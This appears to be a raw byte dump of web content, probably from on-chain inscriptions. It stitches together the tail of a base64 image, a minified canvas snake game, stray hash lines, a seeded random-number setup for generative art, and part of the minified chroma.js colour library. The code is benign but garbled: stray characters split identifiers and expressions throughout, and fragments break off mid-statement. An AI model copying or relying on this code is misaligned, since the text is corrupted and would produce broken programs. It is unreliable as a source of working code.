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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,M
y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-M
1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dxL
?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
FjDOUT:65C4E576F7DE4697583FF3C1959FE79D1571EAEAC8AE9B4614C8AC485D919BCD
FjDOUT:AB82ECD298CFD0BB396B2217E5C364F89FD133A6CAF2C59122B2D664A1C3BDB3
4!$+44144444444414444144144444444414611444444444444414
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
